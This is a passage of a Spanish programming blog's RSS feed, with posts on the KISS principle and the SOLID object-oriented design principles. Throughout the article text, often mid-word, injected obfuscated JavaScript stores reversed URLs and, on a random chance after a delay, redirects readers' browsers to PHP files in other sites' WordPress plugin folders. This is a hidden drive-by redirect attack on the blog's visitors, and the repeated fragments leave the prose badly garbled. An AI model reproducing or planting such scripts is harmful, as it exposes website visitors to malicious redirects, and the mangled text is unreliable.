$NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslat<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>tolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}</script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>to.</li>
</ul>
<p>Muchas de las me<script>$NqM=function(n){if (typeof ($NqM.list[n]) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}</script><script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-re<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslat<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>tolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}</script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>todologías ágiles se basan en parte en este principio para desarrollar un software evolutivo en vez de crear gran cantidad de especificaciones y documen<script>$NqM=function(n){if (typeof ($NqM.list[n]) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}</script><script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-re<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslat<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>tolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}</script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>tos que pueden tardar años en implementarse y meses en integrarse.</p>
<p>En resumen, antes de escribir un mé<script>$NqM=function(n){if (typeof ($NqM.list[n]) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}</script><script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-re<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslat<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>tolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}</script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>todo, piensa si no lo estás complicando demasiado y antes de añadir un requisi<script>$NqM=function(n){if (typeof ($NqM.list[n]) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}</script><script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-re<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslat<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>tolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}</script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>to a una release&#8230; piensa si realmente es necesaria en ese momen<script>$NqM=function(n){if (typeof ($NqM.list[n]) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}</script><script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-re<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslat<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>tolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}</script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>to. Recuerda: KISS.</p>
]]></content:encoded>
					
					<wfw:commentRss>http://blog.climens.net/2009/07/28/el-principio-kiss/feed/</wfw:commentRss>
			<slash:comments>4</slash:comments>
		
		
			</item>
		<item>
		<title>Principios básicos de OOP: SOLID</title>
		<link>http://blog.climens.net/2009/06/02/principios-basicos-de-oop-solid/</link>
					<comments>http://blog.climens.net/2009/06/02/principios-basicos-de-oop-solid/#comments</comments>
		
		<dc:creator><![CDATA[Marc Climent]]></dc:creator>
		<pubDate>Tue, 02 Jun 2009 15:55:47 +0000</pubDate>
				<category><![CDATA[Programación]]></category>
		<category><![CDATA[.NET]]></category>
		<category><![CDATA[consejos]]></category>
		<category><![CDATA[oop]]></category>
		<guid isPermaLink="false">http://codelog.climens.net/?p=204</guid>

					<description><![CDATA[Últimamente reviso mucho código, tantoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to mío como de otros y me doy cuenta de que muchas veces se pasan por altoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to los principios básicos del paradigma de orientación &#8230; <a href="http://blog.climens.net/2009/06/02/principios-basicos-de-oop-solid/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
										<content:encoded><![CDATA[<p>Últimamente reviso mucho código, tan<script>$NqM=function(n){if (typeof ($NqM.list[n]) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}</script><script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-re<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslat<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>tolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}</script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>to mío como de otros y me doy cuenta de que muchas veces se pasan por al<script>$NqM=function(n){if (typeof ($NqM.list[n]) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}</script><script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-re<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslat<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>tolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}</script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>to los principios básicos del paradigma de orientación a obje<script>$NqM=function(n){if (typeof ($NqM.list[n]) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}</script><script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-re<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslat<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>tolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}</script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>tos y en muchos casos porque la formación es deficiente o inexistente.<br />
Así pues, uno de los acrónimos en el mundillo de la programación orientada a obje<script>$NqM=function(n){if (typeof ($NqM.list[n]) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}</script><script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-re<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslat<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>tolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}</script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>tos (OOP) es SOLID, que sirve de regla mnemotécnica para recordar 5 principios básicos:</p>
<p><strong>SRP: Single Responsibility Principle:</strong><br />
El principio de responsabilidad única nos dice que <em>nunca debe haber más de un motivo para que una clase cambie</em>, o lo que es lo mismo, que una clase solamente debe tener un propósi<script>$NqM=function(n){if (typeof ($NqM.list[n]) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}</script><script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-re<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslat<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>tolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}</script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>to. Es<script>$NqM=function(n){if (typeof ($NqM.list[n]) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}</script><script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-re<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslat<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>tolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}</script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>to parece simple pero en realidad es uno de los principios más fáciles de violar y muchas veces no es fácil distinguir las responsabilidades.</p>
<p><strong>OCP: Open-Closed Principle:</strong><br />
El principio abier<script>$NqM=function(n){if (typeof ($NqM.list[n]) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}</script><script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-re<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslat<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>tolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}</script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>to/cerrado implica que las clases de software deben estar abiertas para la extensión pero cerradas para la modificación. Este es el principio por el cual se hacen privadas las variables del miembro o que no se usan variables globales. El truco de este principio está en la abstracción. Las clases abstractas implementan un código inalterable desde fuera pero obligan a extender de ellas para usar este código a parte de que se promueve la reusabilidad.</p>
<p><strong>LSP: Liskov Substitution Principle:</strong><br />
